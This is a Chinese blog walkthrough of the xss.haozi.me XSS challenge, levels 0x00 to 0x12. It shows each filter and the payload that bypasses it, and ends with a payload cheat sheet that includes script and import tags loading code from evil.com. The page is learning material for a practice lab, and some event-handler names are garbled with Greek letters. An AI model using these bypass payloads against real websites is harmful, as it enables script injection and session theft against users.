XSS挑战赛

前言:

对于我这种XSS小白(不对,把"XSS"去掉)还是能学到不少基础知识的
Here We GO!

练习地址:https://xss.haozi.me/#/0x00

0x00

function render (input) {
  return '<div>' + input + '</div>'
}

放在<div>中,直接就:

<script>alert(/1/)</script>



0x01

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

闭合标签

</textarea><script>alert(1);</script>



0x02

<input type="name" value="">

闭合标签

"><script>alert(1)</script>



0x03——模板字符 ` 的使用

function render (input) {
  const stripBracketsRe = /[()]/g		/g是全局搜索的修饰符
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了括号:( )
但我们可以使用模板字符串:反引号

在Es6中,模版字符串可以紧跟在一个函数名后面,该函数将被调用来处理这个模板字符串,这被称为“标签模板”功能。

在这里插入图片描述

<script>alert`1`</script>



0x04——<svg><iframe srcdoc="">能解析HTML实体字符


function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

反引号也被过滤了,我们考虑HTML实体字符
HTML实体字符是以 &# 开头 + 10进制 +以分号结尾以 &#x 开头 + 16进制 + 以分号结尾所表示的

其中<svg>标签可以解析HTML实体字符

<svg><script>alert&#40;1&x41;</script></svg>


H5中的 标签的 srcdoc 属性

该属性用法:<iframe srcdoc="HTML_code"> HTML code为HTML语法的内容

<iframe srcdoc=" <script>alert&#x28;1&#x29;</script>">



0x05——<!-- --!>HTML中对称的注释方式

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

HTML注释方式有什么?
<!-- --> 这种是标准注释方式
<!-- --!>这种对称的方式也行

--!><script>alert(1)</script>



0x06——onclick 、onerror、onmouseover事件 与换行绕过正则

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

HTML:
<input value=1  type="text">

没有/m 多行匹配那就用换行来绕过使用on属性

onmouseover
=alert(1)

onclick
=alert(1)

type=image src='' onerror
=alert(1)
...................



0x07——浏览器有容错性,不加’>'也可

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

HTML:
<article></article>

过滤以 <开头, >结尾的字符

利用了浏览器的容错性,即使不写全< >也能执行

<img  src='' οnerrοr="alert(1)" 
<input οnmοuseοver="alert(1)" 
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}


HTML:
<style>
      
    </style>

过滤了</style>,不过毕竟是黑名单,可以通过空格与换行的方式

</style  ><script>alert(1)</script>

或者

</style  
><script>alert(1)</script>



0x09——//是js的注释方式

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

Regexp.test() 方法用于检测一个字符串是否匹配Regexp
//在js中是注释方式

https://www.segmentfault.com "></script><svg/οnlοad="alert(1)" //

<svg/οnlοad="alert(1)">这种方式学到了



0x0A——URL中的 @ 与加载外部代码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

进行了escape()的编码并指定了一些字符的替换。这就导致无法闭合上script了,需要外部加载js代码

http:// username:password @ hostname注意@后面才是我们要访问的域名

例如:http://yahoo.com@216.58.194.110你访问的不是yahoo.com而是后面的IP地址

https://www.segmentfault.com@xss.haozi.me/j.js  //在chrome浏览器不成功,但在火狐可以

这里的xss.haozi.me/j.js是一个写有alert(1)js代码的页面



0x0B、0x0C——js区分大小写,html不区分。

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

js中变量名,函数,关键字都区分大小写,如var i;和var I;是两个不同的变量。

css中定义的元素名称不区分大小写的。

html中,标签和标签属性统一使用小写形式,固有属性也一律使用小写,自定义属性或标签中含有的大写均会被转换成小写。

换句话说:

html: 大小写不敏感
css: 大小写不敏感
javascript: 大小写敏感

alert(1)是不可以大写的,可以利用HTML编码绕过(毕竟&#与数字哪有什么大小写)

<img src='' onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

看到下一题发现过滤了script说明script才是这题的预期解。那么就是利用 src外部加载了

<script src="https://www.segmentfault.com.haozi.me/j.js"></script>



0x0D——换行绕过注释符

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

HTML:
<script>
          // alert('')
    </script>

换行绕过注释符//这个不难想到。关键还有')跟在输入的后面,本来想着js注释符的却发现被过滤了…
后来看大佬们做法才想起来HTML注释符…想错方向了

alert(1) 
-->



0x0E——'ſ'.toUpperCase()=S 特殊字符

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

HTML<h1></h1>

emmm,想不出来…哎

大佬们是是利用一些特殊字符的特殊情况绕过的,详情的特殊情况请看这里

这些是在特定函数下的特殊转换:
toUpperCase():
ı ==>I
ſ ==>S

toLowerCase():
İ ==>i
K ==>k

这其中的ſ就可以被利用为S

这是大佬们的做法:

<ſcript src="https://xss.haozi.me/j.js"></script>

但我想着HTML编码alert(1),但不成功…why?

<ſcript>&#97;&#108;&#101;&#114;&#116;&#40;1&#41;</ſcript>



0x0F——以下题目都是闭合操作

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}



HTML:
<img src onerror="console.error('')">

对html 、js 转义就是做无用功,浏览器会先解析html, 然后再解析 js

闭合console.error,又因为在onerror事件中,用分号;执行多语句

');alert('1



0x10

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

HTML:
<script>
  window.data = 
</script>

直接闭合window.data然后执行alert

1;alert(1)



0x11

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}



HTML:
<script>
  var url = 'javascript:console.log("")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>

代码有点多,但思路就是在输入的地方进行闭合,执行我们要的命令

"),alert(1)//



0x12

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}


HTML:
<script>console.log("");</script>

同样是闭合,要注意转义符号,因为"会多出一个\而它会转义后面的"所以要在前面加上\。跟上题的原理一样

\");alert(1)//




记录一些payload:

<h1 onmousemove="alert('moved!')">a trick</h1>

<img src=x onerror="alert('error!')" />

<script src="http://evil.com/a.js"></script>

<script>alert(1)</script>

<link rel="import" href="http://evil.com/1.html">

<iframe src="javascript:alert(1)"></iframe>		//javascript伪协议

<a href="javascript:alert(1)">click</a>

<svg/onload=alert(1)>

<input onfocus=write(1) autofocus> 

<input onblur=write(1) autofocus><input autofocus>

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>		//data伪协议  <script>alert(1)</script>的编码
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值